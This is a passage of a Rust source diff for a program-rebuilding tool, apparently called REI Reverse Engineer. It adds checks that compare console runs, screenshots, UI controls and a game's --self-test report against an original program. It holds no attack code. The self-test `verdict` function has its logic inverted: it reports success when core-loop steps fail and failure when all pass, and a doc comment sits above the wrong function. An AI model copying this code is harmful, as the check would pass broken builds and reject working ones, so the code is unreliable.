r.get("lines").and_then(Value::as_array).is_some_and(|l| !l.is_empty())) +} + +/// The original's runs Study kept, by input name (none when it isn't a console program or +/// runtime study was off). +pub fn captured(ws: &Workspace) -> Vec { + let dir = ws.capture_dir().join(RUNS_DIR); + CASES.iter().filter_map(|(name, _)| std::fs::read(dir.join(format!("{}.json", slug(name)))).ok()).filter_map(|b| serde_json::from_slice(&b).ok()).collect() +} + +fn slug(name: &str) -> String { + let s: String = name.chars().map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect(); + s.split('-').filter(|p| !p.is_empty()).collect::>().join("-") +} + +/// One run as kept: its input, how it exited and the lines it left on the terminal. +fn run_record(name: &str, args: &[String], capture: &Value) -> Value { + json!({ + "name": name, + "arguments": args, + "reason": capture.pointer("/exit/reason"), + "exit_code": capture.pointer("/exit/code"), + "lines": capture.pointer("/terminal/lines").cloned().unwrap_or_else(|| json!([])), + }) +} + +/// The kept form of a `runtime_walkthrough_record` result. +fn result_of(out: &ToolOutput) -> Value { + out.to_json().get("result").cloned().unwrap_or(Value::Null) +} + +impl Worker { + /// Run the original console program with each input and keep what it did in capture/runs/; + /// returns the README section, or None (and keeps nothing) when it didn't run like a console + /// program. + pub(in crate::rebuild) fn capture_runs(&self, program: &Path, capture: &Path) -> Result, ToolError> { + let dir = capture.join(RUNS_DIR); + std::fs::create_dir_all(&dir).map_err(|e| ToolError::io(dir.display(), e))?; + let mut kept = Vec::new(); + let mut records = Vec::new(); + for (name, args) in CASES { + let args: Vec = args.iter().map(|a| (*a).to_string()).collect(); + let mut params = + json!({"executable": program.display().to_string(), "arguments": args, "timeout_ms": RUN_MS, "idle_timeout_ms": RUN_MS, "settle_ms": 200}); + if let Some(cwd) = program.parent() { + params["working_directory"] = json!(cwd.display().to_string()); + } + match self.call("runtime_walkthrough_record", params) { + Ok(out) => { + let record = run_record(name, &args, &result_of(&out)); + let bytes = serde_json::to_vec_pretty(&record).map_err(|e| ToolError::internal(e.to_string()))?; + craft_anything_engine::project::write_atomic(&dir.join(format!("{}.json", slug(name))), &bytes)?; + kept.push(*name); + records.push(record); + } + Err(e) => log::warn!("running {} with {name} failed: {}", program.display(), e.message), + } + } + if !kept.is_empty() && !ran_like_console(&records) { + let _ = std::fs::remove_dir_all(&dir); + return Ok(None); + } + Ok(Some(if kept.is_empty() { + "\n## How it runs\n\nIt's a console program, but running it to see its output didn't work.\n".to_string() + } else { + format!( + "\n## How it runs\n\nIt's a console program. capture/runs/ holds what it printed and how it exited for each of these inputs: {}. Each file has the arguments, the exit code (or that it was still running after {} s) and the lines it left on the terminal.\n", + kept.join(", "), + RUN_MS / 1000 + ) + })) + } +} + +/// The words of a run's output, with both programs' own names made the same ("program"), so a +/// usage line naming the rebuild's file still matches. +fn output_words(run: &Value, names: &[String]) -> std::collections::BTreeMap { + let mut text = run.get("lines").and_then(Value::as_array).into_iter().flatten().filter_map(Value::as_str).collect::>().join("\n").to_lowercase(); + for n in names.iter().filter(|n| !n.is_empty()) { + text = text.replace(&n.to_lowercase(), "program"); + } + website::words(&text) +} + +/// Dice over word counts, 0..=100; two empty outputs are alike. +fn alike(a: &std::collections::BTreeMap, b: &std::collections::BTreeMap) -> f64 { + let (ta, tb): (usize, usize) = (a.values().sum(), b.values().sum()); + if ta + tb == 0 { + return 100.0; + } + let shared: usize = a.iter().map(|(w, n)| (*n).min(b.get(w).copied().unwrap_or(0))).sum(); + 200.0 * shared as f64 / (ta + tb) as f64 +} + +/// What one input's two runs claim: the same way out (exit code, or still running) and the same +/// output. `names`: both programs' file names without extension. +pub fn run_claims(original: &Value, built: &Value, names: &[String]) -> Vec { + let name = original.get("name").and_then(Value::as_str).unwrap_or("its input"); + let how = |r: &Value| match (r.get("reason").and_then(Value::as_str), r.get("exit_code").and_then(Value::as_i64)) { + (Some("exited"), Some(c)) => format!("exits with code {c}"), + (Some("exited"), None) => "exits".to_string(), + (Some(other), _) => format!("is still running ({other})"), + (None, _) => "didn't run".to_string(), + }; + let score = alike(&output_words(original, names), &output_words(built, names)); + vec![ + Claim::new(format!("With {name}, it {} like the original", how(original)), how(original) == how(built), format!("it {}", how(built))), + Claim::new(format!("With {name}, it prints what the original prints"), score >= OUTPUT_ALIKE, format!("{score:.0}% of the words match")), + ] +} + +/// Runs the rebuild with each input Study ran the original with and compares, claim by claim. +pub struct RunsCheck; + +impl RunsCheck { + pub const ID: &'static str = "app-runs"; +} + +impl Check for RunsCheck { + fn id(&self) -> &'static str { + Self::ID + } + + fn applies(&self, cx: &CheckCx) -> bool { + !captured(cx.ws).is_empty() + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let (ws, round) = (cx.ws, cx.round); + let godot = cx.godot(); + let Some((program, base)) = craft_anything_engine::outputs::launch(&ws.app_dir(), godot.as_deref()) else { + return Ok(CheckResult::new(self.id(), round, false, screenshot::NO_PROGRAM)); + }; + let out = ws.checks_dir().join(format!("round-{round}")).join(RUNS_DIR); + std::fs::create_dir_all(&out).map_err(|e| ToolError::io(out.display(), e))?; + let original_name = match &ws.manifest.target { + TargetRef::Local { path } => locate(path, false).0.file_stem().map(|s| s.to_string_lossy().into_owned()).unwrap_or_default(), + _ => String::new(), + }; + let names = vec![original_name, program.file_stem().map(|s| s.to_string_lossy().into_owned()).unwrap_or_default()]; + let (mut claims, mut notes, mut artifacts) = (Vec::new(), Vec::new(), Vec::new()); + for original in captured(ws) { + let name = original.get("name").and_then(Value::as_str).unwrap_or_default().to_string(); + let mut args = base.clone(); + args.extend(original.get("arguments").and_then(Value::as_array).into_iter().flatten().filter_map(Value::as_str).map(String::from)); + let params = json!({"executable": program.display().to_string(), "arguments": args, "working_directory": ws.app_dir().display().to_string(), "timeout_ms": RUN_MS, "idle_timeout_ms": RUN_MS, "settle_ms": 200}); + let built = match cx.call("runtime_walkthrough_record", params) { + Ok(o) => run_record(&name, &args, &result_of(&o)), + Err(e) => { + notes.push(format!("with {name} the build couldn't be run: {}", e.message)); + json!({"name": name}) + } + }; + let file = out.join(format!("{}.json", slug(&name))); + if let Ok(bytes) = serde_json::to_vec_pretty(&built) { + craft_anything_engine::project::write_atomic(&file, &bytes)?; + artifacts.extend(file.strip_prefix(&ws.root).ok().map(Path::to_path_buf)); + } + claims.extend(run_claims(&original, &built, &names)); + } + let failed: Vec = claims.iter().filter(|c| !c.passed).map(|c| format!("{} ({})", c.title, c.detail)).collect(); + notes.insert( + 0, + if failed.is_empty() { + format!("It runs like the original with every input ({} claims hold).", claims.len()) + } else { + format!( + "{} of {} claims don't hold yet: {}. Compare your runs in checks/round-{round}/runs/ with the original's in capture/runs/.", + failed.len(), + claims.len(), + failed.join("; ") + ) + }, + ); + Ok(CheckResult { claims, artifacts, ..CheckResult::new(self.id(), round, true, notes.join(" ")) }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn each_input_claims_the_same_exit_and_output() { + let names = vec!["orig-tool".to_string(), "rebuilt".to_string()]; + let original = json!({"name": "--help", "reason": "exited", "exit_code": 0, "lines": ["Usage: orig-tool [options] ", " -v print the version", " -o output folder"]}); + let same = json!({"name": "--help", "reason": "exited", "exit_code": 0, "lines": ["Usage: rebuilt [options] ", " -v print the version", " -o output folder"]}); + assert!( + run_claims(&original, &same, &names).iter().all(|c| c.passed), + "the programs' own names don't count: {:?}", + run_claims(&original, &same, &names) + ); + let other = json!({"name": "--help", "reason": "exited", "exit_code": 2, "lines": ["error: unknown option --help"]}); + let got: Vec<(String, bool, String)> = run_claims(&original, &other, &names).into_iter().map(|c| (c.title, c.passed, c.detail)).collect(); + assert_eq!(got[0], ("With --help, it exits with code 0 like the original".to_string(), false, "it exits with code 2".to_string())); + assert!(!got[1].1 && got[1].0 == "With --help, it prints what the original prints" && got[1].2.ends_with("% of the words match"), "{got:?}"); + // A program that waits for input is still running at the deadline, in both. + let waits = json!({"name": "no arguments", "reason": "timeout", "lines": []}); + assert!(run_claims(&waits, &waits, &names).iter().all(|c| c.passed)); + assert!(!run_claims(&waits, &json!({"name": "no arguments"}), &names)[0].passed, "a build that didn't run doesn't match"); + } + + #[test] + fn a_unix_program_is_a_console_one_unless_it_loads_a_windowing_library() { + let binary = |format, libs: &[&str]| { + let mut b = craft_anything_formats::Binary::raw(craft_anything_formats::Arch::X86_64, 0, 0, 0); + b.format = format; + b.entry = Some(0x1000); + b.libraries = libs.iter().map(|l| (*l).to_string()).collect(); + b + }; + use craft_anything_formats::Format; + assert!(loads_no_window(&binary(Format::Elf, &["libc.so.6", "libssl.so.3"]))); + assert!(!loads_no_window(&binary(Format::Elf, &["libc.so.6", "libX11.so.6"]))); + assert!(!loads_no_window(&binary(Format::Elf, &["libGL.so.1"]))); + assert!(loads_no_window(&binary(Format::MachO, &["/usr/lib/libSystem.B.dylib"]))); + assert!(!loads_no_window(&binary(Format::MachO, &["/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit"]))); + assert!(!loads_no_window(&binary(Format::Pe, &[])), "Windows programs say so themselves"); + let mut library = binary(Format::Elf, &[]); + library.entry = None; + assert!(!loads_no_window(&library), "a library isn't run"); + } + + #[test] + fn only_console_programs_are_run_and_inputs_have_file_names() { + let d = tempfile::tempdir().unwrap(); + let fake = d.path().join("tool.exe"); + std::fs::write(&fake, b"MZ not really a program").unwrap(); + assert!(!is_console(&fake) && !is_console(&d.path().join("missing.exe"))); + assert!(ran_like_console(&[json!({"reason": "timeout", "lines": ["Usage: tool"]})]), "it printed"); + assert!(ran_like_console(&[json!({"reason": "exited", "lines": []})]), "it ended by itself"); + assert!( + !ran_like_console(&[json!({"reason": "timeout", "lines": []}), json!({"reason": "idle_timeout", "lines": []})]), + "silent and still open: a window" + ); + // Programs made here, read but never run: a console tool and a windowed app. + let (tool, app) = (d.path().join("tool.exe"), d.path().join("app.exe")); + std::fs::write(&tool, craft_anything_testkit::pe64_subsystem(3)).unwrap(); + std::fs::write(&app, craft_anything_testkit::pe64_subsystem(2)).unwrap(); + assert!(is_console(&tool) && !is_console(&app)); + assert_eq!(CASES.iter().map(|(n, _)| slug(n)).collect::>(), ["no-arguments", "help", "version"]); + let ws = Workspace::create(d.path(), "Tool", "Rebuild this tool", TargetRef::None).unwrap(); + assert!(captured(&ws).is_empty()); + std::fs::create_dir_all(ws.capture_dir().join(RUNS_DIR)).unwrap(); + std::fs::write( + ws.capture_dir().join(RUNS_DIR).join("help.json"), + br#"{"name": "--help", "arguments": ["--help"], "reason": "exited", "exit_code": 0, "lines": ["Usage"]}"#, + ) + .unwrap(); + assert_eq!(captured(&ws).len(), 1); + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/screenshot.rs b/desktop/crates/ai/src/rebuild/kinds/screenshot.rs new file mode 100644 index 0000000..2aee3b2 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/screenshot.rs @@ -0,0 +1,394 @@ +//! Apps and games can't be photographed from outside the way a website can, so the brief asks the +//! builder for a `--screenshot ` option (draw about 120 frames, save the screen, exit). +//! [`ScreenshotCheck`] holds the build to it: it starts the finished program with that option, +//! and the build passes only with a picture that isn't blank. When the person added pictures of +//! the original, the note says how alike the result looks to the closest one (advisory for now: +//! it doesn't decide when to stop refining). When Study pictured the original running (runtime +//! study), the build is also started normally and pictured the same way: the note adds how alike +//! the two windows look and which of the original's labelled controls the build lacks. + +use super::*; +use craft_anything_engine::tools::web_common::{Image, decode_picture, decode_png, perceptual_similarity, resize}; +use craft_anything_engine::workspace::Claim; +use craft_anything_platform::process::Process; + +/// What every app and game brief asks for, so the check can see the result. +pub const SCREENSHOT_CONTRACT: &str = "Give the program a `--screenshot ` option: start normally, draw about 120 frames, save the window's picture as a PNG to that file and exit. REI Reverse Engineer runs it that way after each build to check the result, and a build without the option, or with a blank picture, doesn't pass. Try it yourself: run it with a file inside app/ (for example app/shots/now.png) and look at the picture."; + +/// How long the program may take to start, draw and save its picture (or play its self-test). +const RUN_LIMIT: Duration = Duration::from_secs(90); +/// The size both pictures are brought to before comparing. +const COMPARE: (u32, u32) = (640, 360); + +pub struct ScreenshotCheck; + +impl Check for ScreenshotCheck { + fn id(&self) -> &'static str { + "app-screenshot" + } + + /// A console program draws no window: its runs are compared instead ([`super::runs`]). + fn applies(&self, cx: &CheckCx) -> bool { + super::runs::captured(cx.ws).is_empty() + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let (ws, round) = (cx.ws, cx.round); + let dir = ws.checks_dir().join(format!("round-{round}")); + let shot = dir.join("screenshot.png"); + let (bytes, program, base_args) = match run_with(cx, "--screenshot", &shot)? { + OwnRun::NoProgram => return Ok(CheckResult::new(self.id(), round, false, NO_PROGRAM)), + OwnRun::NoFile(why) => { + return Ok(CheckResult::new( + self.id(), + round, + false, + format!("The program didn't save a picture with --screenshot.{why} {SCREENSHOT_CONTRACT}"), + )); + } + OwnRun::Saved { bytes, program, args } => (bytes, program, args), + }; + let mut artifacts: Vec = shot.strip_prefix(&ws.root).ok().map(Path::to_path_buf).into_iter().collect(); + let img = match decode_png(&bytes) { + Ok(i) => i, + Err(e) => { + return Ok(CheckResult { + artifacts, + ..CheckResult::new(self.id(), round, false, format!("The --screenshot file isn't a readable PNG: {}", e.message)) + }); + } + }; + if is_blank(&img) { + return Ok(CheckResult { + artifacts, + ..CheckResult::new( + self.id(), + round, + false, + "The program's screenshot is blank (one colour): nothing was drawn. Make sure it draws its first frames before saving.", + ) + }); + } + // The person's pictures, and the picture of the original running (runtime study). + let mut pictures = ws.references(); + pictures.extend(Some(ws.capture_dir().join("window.png")).filter(|p| p.is_file())); + let bar = cx.build_settings().picture_good_enough; + let mut similarity = None; + let note = match picture_likeness(&img, &pictures) { + Likeness::Best { score, name } => { + // With a bar set (`build.picture_good_enough`), the likeness decides when to stop. + if bar.is_some() { + similarity = Some(score); + } + format!("The program starts and draws ({}×{}). It looks about {score:.0}% like {name}.", img.width, img.height) + } + Likeness::Unreadable => format!( + "The program starts and draws ({}×{}). The person's pictures couldn't be read (PNG, JPEG, WebP or GIF), so they weren't compared.", + img.width, img.height + ), + Likeness::NoPictures => format!("The program starts and draws ({}×{}).", img.width, img.height), + }; + let (running, claims) = running_note(cx, &program, &base_args, &dir); + let note = note + &running; + artifacts.extend(dir.join("window.png").strip_prefix(&ws.root).ok().map(Path::to_path_buf).filter(|p| ws.root.join(p).is_file())); + Ok(CheckResult { artifacts, similarity, good_enough: bar, claims, ..CheckResult::new(self.id(), round, true, note) }) + } +} + +/// Start the build normally and picture it the way Study pictured the original, when it did +/// (`capture/window.png`, and `capture/ui-tree.json` when its controls were read): how alike the +/// windows look and the controls are, and a claim for each of the original's interactive +/// controls ([`control_claims`]). Empty when there's nothing to compare with. +fn running_note(cx: &CheckCx, program: &Path, args: &[String], dir: &Path) -> (String, Vec) { + let capture = cx.ws.capture_dir(); + let (original, original_tree) = (capture.join("window.png"), capture.join("ui-tree.json")); + if !original.is_file() { + return (String::new(), Vec::new()); + } + let (shot, tree) = (dir.join("window.png"), dir.join("ui-tree.json")); + let mut params = json!({"program": program, "args": args, "wait_secs": 15, "output": &shot}); + if original_tree.is_file() { + params["ui_tree"] = json!(&tree); + } + if let Err(e) = cx.call("native_window_capture", params) { + return (format!(" Started normally, its window couldn't be pictured: {}", e.message), Vec::new()); + } + let mut out = String::new(); + if let Some(img) = std::fs::read(&shot).ok().and_then(|b| decode_png(&b).ok()) + && let Likeness::Best { score, .. } = picture_likeness(&img, &[original]) + { + out.push_str(&format!(" Started normally, its window looks about {score:.0}% like the original's (capture/window.png).")); + } + let read = |p: &Path| std::fs::read(p).ok().and_then(|b| serde_json::from_slice::(&b).ok()); + let mut claims = Vec::new(); + if let (Some(o), Some(b)) = (read(&original_tree), read(&tree)) { + if let Some(c) = controls_likeness(&o, &b) { + out.push_str(&format!(" {}", c.note())); + } + claims = control_claims(&o, &b); + } + (out, claims) +} + +/// The roles of controls a person uses (lower case, macOS's `AX` prefix removed): each of the +/// original's must be in the build. Text and other labels may hold content the builder replaces +/// with placeholders, so they stay advisory. +const INTERACTIVE: &[&str] = &[ + "button", + "splitbutton", + "togglebutton", + "menu", + "menubaritem", + "menuitem", + "menubutton", + "tab", + "tabitem", + "checkbox", + "radiobutton", + "combobox", + "popupbutton", + "edit", + "textfield", + "hyperlink", + "link", + "slider", +]; + +/// A claim for each of the original's labelled interactive controls (each label once, at most +/// 20): the build has a control with the same label, whatever its role. +pub fn control_claims(original: &Value, built: &Value) -> Vec { + let ours: std::collections::BTreeSet = labelled(built).into_iter().map(|(key, ..)| key).collect(); + let mut seen = std::collections::BTreeSet::new(); + labelled(original) + .into_iter() + .filter(|(key, _, role)| INTERACTIVE.contains(&role.as_str()) && seen.insert(key.clone())) + .take(20) + .map(|(key, shown, role)| Claim::new(format!("It has the original's \"{shown}\" {role}"), ours.contains(&key), "no control with that label")) + .collect() +} + +/// How alike two UI trees' labelled controls are (`ui-tree.json`: `nodes` with `role` and `title`). +#[derive(Debug, Clone, PartialEq)] +pub struct ControlsLikeness { + /// 0..=100: the labels both have, over all labels of both (Dice over label counts). + pub similarity: f64, + /// The original's controls the build has no label for, as `"Copy" (button)`, in tree order + /// (at most 8). + pub missing: Vec, +} + +/// A UI tree's labelled controls as (label to compare, label to show, role). Labels are compared +/// without case, spacing, `&` mnemonics or a trailing colon; roles lose macOS's `AX` prefix. +fn labelled(tree: &Value) -> Vec<(String, String, String)> { + let nodes = tree.get("nodes").and_then(Value::as_array).into_iter().flatten(); + nodes + .filter_map(|n| { + let shown = n.get("title").and_then(Value::as_str)?.replace('&', "").split_whitespace().collect::>().join(" "); + let key = shown.trim_end_matches(':').trim().to_lowercase(); + let role = n.get("role").and_then(Value::as_str).unwrap_or_default(); + (!key.is_empty()).then(|| (key, shown, role.strip_prefix("AX").unwrap_or(role).to_lowercase())) + }) + .collect() +} + +/// Compare the labelled controls of the original's UI tree with the build's. None when the +/// original has fewer than 3 (a game or a window that draws its own controls says little here). +pub fn controls_likeness(original: &Value, built: &Value) -> Option { + let (a, b) = (labelled(original), labelled(built)); + if a.len() < 3 { + return None; + } + let mut left = std::collections::BTreeMap::<&str, usize>::new(); + for (key, ..) in &b { + *left.entry(key).or_default() += 1; + } + let (mut shared, mut missing) = (0, Vec::new()); + for (key, shown, role) in &a { + match left.get_mut(key.as_str()) { + Some(n) if *n > 0 => { + *n -= 1; + shared += 1; + } + _ if missing.len() < 8 => missing.push(format!("\"{shown}\" ({role})")), + _ => {} + } + } + Some(ControlsLikeness { similarity: 200.0 * shared as f64 / (a.len() + b.len()) as f64, missing }) +} + +impl ControlsLikeness { + /// One sentence for the check's note. + pub fn note(&self) -> String { + let mut s = format!("Its controls are {:.0}% alike by their labels", self.similarity); + if !self.missing.is_empty() { + s.push_str(&format!("; the original also has {}", self.missing.join(", "))); + } + s.push('.'); + s + } +} + +/// The arguments that ask the program for one of its own options (`--screenshot `); a +/// Godot project passes its own after `--`. +pub fn option_args(godot_project: bool, option: &str, file: &Path) -> Vec { + let mut v = Vec::new(); + if godot_project { + v.push("--".to_string()); + } + v.push(option.to_string()); + v.push(file.display().to_string()); + v +} + +/// What a run of the built program with one of its own options left behind. +pub(super) enum OwnRun { + /// Nothing is built to start yet. + NoProgram, + /// It ran but saved no file: why, as a sentence starting with a space (or empty). + NoFile(String), + /// The file it saved, and how the program is started without the option. + Saved { bytes: Vec, program: PathBuf, args: Vec }, +} + +pub(super) const NO_PROGRAM: &str = "There's no built program to start yet."; + +/// Start the built program with `option ` and read back the file it saved (an old one is +/// removed first, so only this run's counts). +pub(super) fn run_with(cx: &CheckCx, option: &str, file: &Path) -> Result { + let app = cx.ws.app_dir(); + let godot = cx.godot(); + let Some((program, args)) = launch(&app, godot.as_deref()) else { return Ok(OwnRun::NoProgram) }; + if let Some(dir) = file.parent() { + std::fs::create_dir_all(dir).map_err(|e| ToolError::io(dir.display(), e))?; + } + let _ = std::fs::remove_file(file); + let mut with = args.clone(); + with.extend(option_args(godot.is_some() && app.join("project.godot").is_file(), option, file)); + let stop = cx.stop().clone(); + let out = Process::new(&program).args(&with).cwd(&app).timeout(RUN_LIMIT).stdout_cap(256 * 1024).cancel_when(move || stop.is_cancelled()).run(); + let Ok(bytes) = std::fs::read(file) else { + let why = match &out { + Ok(o) if !o.success => { + format!(" It exited with {}: {}", o.code.map_or("an error".into(), |c| format!("code {c}")), last_lines(&o.stderr_text(), &o.stdout_text())) + } + Err(e) => format!(" {}", e.message), + Ok(_) => String::new(), + }; + return Ok(OwnRun::NoFile(why)); + }; + Ok(OwnRun::Saved { bytes, program, args }) +} + +/// Nothing drawn: almost every pixel the same brightness. +pub fn is_blank(img: &Image) -> bool { + let small = resize(img, 64, 36); + let lumas: Vec = + small.rgba.as_chunks::<4>().0.iter().map(|[r, g, b, _]| 0.299 * f64::from(*r) + 0.587 * f64::from(*g) + 0.114 * f64::from(*b)).collect(); + let n = lumas.len().max(1) as f64; + let mean = lumas.iter().sum::() / n; + let var = lumas.iter().map(|l| (l - mean).powi(2)).sum::() / n; + var.sqrt() < 2.0 +} + +/// How the result compares with the person's pictures. +#[derive(Debug, PartialEq)] +pub enum Likeness { + Best { + score: f64, + name: String, + }, + /// None of the pictures could be decoded. + Unreadable, + NoPictures, +} + +/// The closest of the person's pictures (PNG, JPEG, WebP or GIF): the mean of perceptual detail and coarse layout, +/// both pictures brought to the same size first. +pub fn picture_likeness(shot: &Image, pictures: &[PathBuf]) -> Likeness { + if pictures.is_empty() { + return Likeness::NoPictures; + } + let a = resize(shot, COMPARE.0, COMPARE.1); + let mut best: Option<(f64, String)> = None; + for p in pictures { + let Some(b) = std::fs::read(p).ok().and_then(|bytes| decode_picture(&bytes).ok()) else { continue }; + let b = resize(&b, COMPARE.0, COMPARE.1); + let detail = perceptual_similarity(&a, &b); + let layout = craft_anything_engine::tools::web_common::block_similarity(&a, &b, 16, 24); + let score = (detail + layout) * 50.0; + // "reference/picture-1.png", or "capture/window.png" for the original running. + let folder = p.parent().and_then(|d| d.file_name()).map(|d| d.to_string_lossy().into_owned()).unwrap_or_default(); + let name = p.file_name().map(|n| format!("{folder}/{}", n.to_string_lossy())).unwrap_or_default(); + if best.as_ref().is_none_or(|(s, _)| score > *s) { + best = Some((score, name)); + } + } + match best { + Some((score, name)) => Likeness::Best { score, name }, + None => Likeness::Unreadable, + } +} + +fn last_lines(stderr: &str, stdout: &str) -> String { + let text = if stderr.trim().is_empty() { stdout } else { stderr }; + let lines: Vec<&str> = text.lines().filter(|l| !l.trim().is_empty()).collect(); + lines.get(lines.len().saturating_sub(6)..).unwrap_or_default().join(" / ") +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_engine::tools::web_common::encode_png; + + fn img(w: u32, h: u32, f: &dyn Fn(u32, u32) -> [u8; 3]) -> Image { + let mut rgba = Vec::new(); + for y in 0..h { + for x in 0..w { + let [r, g, b] = f(x, y); + rgba.extend_from_slice(&[r, g, b, 255]); + } + } + Image { width: w, height: h, rgba } + } + + #[test] + fn a_godot_project_gets_its_screenshot_flag_after_a_double_dash() { + let p = Path::new("/p/checks/round-1/screenshot.png"); + assert_eq!(option_args(false, "--screenshot", p), ["--screenshot", "/p/checks/round-1/screenshot.png"]); + assert_eq!(option_args(true, "--screenshot", p).first().map(String::as_str), Some("--")); + } + + #[test] + fn blank_pictures_fail_and_the_closest_reference_is_named() { + assert!(is_blank(&img(320, 180, &|_, _| [10, 10, 10]))); + let scene = img(320, 180, &|x, y| if (x / 20 + y / 20) % 2 == 0 { [200, 40, 40] } else { [20, 20, 120] }); + assert!(!is_blank(&scene)); + assert_eq!(picture_likeness(&scene, &[]), Likeness::NoPictures); + let d = tempfile::tempdir().unwrap(); + let refs = d.path().join("reference"); + std::fs::create_dir_all(&refs).unwrap(); + let same = refs.join("picture-1.png"); + let other = refs.join("picture-2.png"); + let broken = refs.join("picture-3.jpg"); + std::fs::write(&same, encode_png(&resize(&scene, 640, 360)).unwrap()).unwrap(); + std::fs::write(&other, encode_png(&img(640, 360, &|x, _| [(x % 256) as u8, 0, 0])).unwrap()).unwrap(); + std::fs::write(&broken, b"not a picture").unwrap(); + match picture_likeness(&scene, &[other.clone(), same, broken.clone()]) { + Likeness::Best { score, name } => { + assert_eq!(name, "reference/picture-1.png"); + assert!(score > 90.0, "{score}"); + } + l => panic!("{l:?}"), + } + assert_eq!(picture_likeness(&scene, &[broken]), Likeness::Unreadable); + } + + #[test] + fn resize_keeps_the_picture() { + let half = img(4, 2, &|x, _| if x < 2 { [0, 0, 0] } else { [255, 255, 255] }); + let small = resize(&half, 2, 1); + assert_eq!(small.rgba, [0, 0, 0, 255, 255, 255, 255, 255]); + let back = decode_png(&encode_png(&half).unwrap()).unwrap(); + assert_eq!(back.rgba, half.rgba, "encode and decode round-trip"); + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/self_test.rs b/desktop/crates/ai/src/rebuild/kinds/self_test.rs new file mode 100644 index 0000000..242ae0c --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/self_test.rs @@ -0,0 +1,149 @@ +//! A game that draws isn't yet a game that plays: a first slice can draw a level with no player +//! in it. The brief asks every game for a `--self-test ` option (play the core loop +//! with scripted input, measure it from the game's own state, save the results, exit), and +//! [`SelfTestCheck`] holds the build to it: it starts the finished game that way after the +//! screenshot check, and the game isn't ready until every step of the core loop passes. + +use super::screenshot::{NO_PROGRAM, OwnRun, run_with}; +use super::*; +use craft_anything_engine::self_test::{SELF_TEST_VERSION as VERSION, SelfTestReport as Report}; +use craft_anything_engine::workspace::Claim; + +/// What every game brief asks for, so the check can see the core loop played. +pub const SELF_TEST_CONTRACT: &str = "Give the game a `--self-test ` option too: start a game the way a player would, drive the player with scripted input for a few seconds, measure from the game's own state whether each step of the core loop works, save the results to that file and exit: {\"version\": 1, \"steps\": [{\"step\": \"move\", \"passed\": true, \"detail\": \"walked 3.1 m forward\"}, {\"step\": \"act\", \"passed\": true, \"detail\": \"fired 5 shots, 2 hit\"}, {\"step\": \"hud\", \"passed\": true, \"detail\": \"health, ammo and the objective are drawn\"}]}. \"move\": the player (or what they steer) moves; \"act\": their main action works (firing, mining, jumping, eating…); \"hud\": the on-screen information the original shows (score, health, ammo…) is drawn. REI Reverse Engineer runs it after each build, and the game isn't ready until every step passes."; + +/// The core loop, as the steps a self-test must pass: (step, what it shows). +const CORE_LOOP: [(&str, &str); 3] = [("move", "the player moves"), ("act", "the player's main action works"), ("hud", "the on-screen information is drawn")]; + +pub struct SelfTestCheck; + +impl SelfTestCheck { + pub const ID: &'static str = "game-self-test"; +} + +impl Check for SelfTestCheck { + fn id(&self) -> &'static str { + Self::ID + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let round = cx.round; + let file = cx.ws.checks_dir().join(format!("round-{round}")).join("self-test.json"); + let (passed, note, claims) = match run_with(cx, "--self-test", &file)? { + OwnRun::NoProgram => (false, NO_PROGRAM.to_string(), Vec::new()), + OwnRun::NoFile(why) => (false, format!("The game didn't save a report with --self-test.{why} {SELF_TEST_CONTRACT}"), Vec::new()), + OwnRun::Saved { bytes, .. } => { + let (passed, note) = verdict(&bytes); + (passed, note, claims(&bytes)) + } + }; + let artifacts = file.strip_prefix(&cx.ws.root).ok().map(Path::to_path_buf).filter(|_| file.is_file()).into_iter().collect(); + Ok(CheckResult { artifacts, claims, ..CheckResult::new(self.id(), round, passed, note) }) + } +} + +/// Whether a self-test report shows every step of the core loop passing, with the note. +/// Each step of a saved self-test as a claim of its own: the core loop's steps (one the game +/// didn't test fails as "not tested"), then any steps the game added. An unreadable report makes +/// none ([`verdict`] says why). +pub fn claims(bytes: &[u8]) -> Vec { + let Ok(report) = serde_json::from_slice::(bytes) else { return Vec::new() }; + let core = |s: &str| CORE_LOOP.iter().any(|(step, _)| s.trim().eq_ignore_ascii_case(step)); + let mut out: Vec = CORE_LOOP + .iter() + .map(|(step, shows)| { + let title = format!("In play, {shows}"); + match report.steps.iter().find(|s| s.step.trim().eq_ignore_ascii_case(step)) { + Some(s) => { + Claim::new(title, s.passed, if s.detail.trim().is_empty() { "the self-test says it failed".into() } else { s.detail.trim().to_string() }) + } + None => Claim::new(title, false, "not tested"), + } + }) + .collect(); + out.extend( + report.steps.iter().filter(|s| !core(&s.step)).take(20).map(|s| Claim::new(format!("Self-test step \"{}\"", s.step.trim()), s.passed, s.detail.trim())), + ); + out +} + +pub fn verdict(bytes: &[u8]) -> (bool, String) { + let report: Report = match serde_json::from_slice(bytes) { + Ok(r) => r, + Err(e) => return (false, format!("The --self-test file can't be read: {e}. {SELF_TEST_CONTRACT}")), + }; + if report.version > VERSION { + return (false, format!("The --self-test file says version {}; this REI Reverse Engineer reads version {VERSION}.", report.version)); + } + let (mut played, mut not) = (Vec::new(), Vec::new()); + for (step, shows) in CORE_LOOP { + match report.steps.iter().find(|s| s.step.trim().eq_ignore_ascii_case(step)) { + Some(s) if s.passed => played.push(if s.detail.trim().is_empty() { step.to_string() } else { format!("{step} ({})", s.detail.trim()) }), + Some(s) => { + not.push(format!("{step}: {shows}, failed{}", if s.detail.trim().is_empty() { String::new() } else { format!(" ({})", s.detail.trim()) })) + } + None => not.push(format!("{step}: {shows}, not tested")), + } + } + if not.is_empty() { + return (true, format!("The self-test plays the core loop: {}.", played.join(", "))); + } + ( + false, + format!( + "The self-test doesn't show the core loop working yet: {} of {} steps don't pass ({}). Build what's missing so a player can move, act and see the on-screen information, then measure each step from the game's own state in --self-test.", + not.len(), + CORE_LOOP.len(), + not.join("; ") + ), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_core_loop_passes_only_when_every_step_does() { + let all = br#"{"version": 1, "steps": [{"step": "move", "passed": true, "detail": "moved 4 cells"}, {"step": "Act", "passed": true}, {"step": 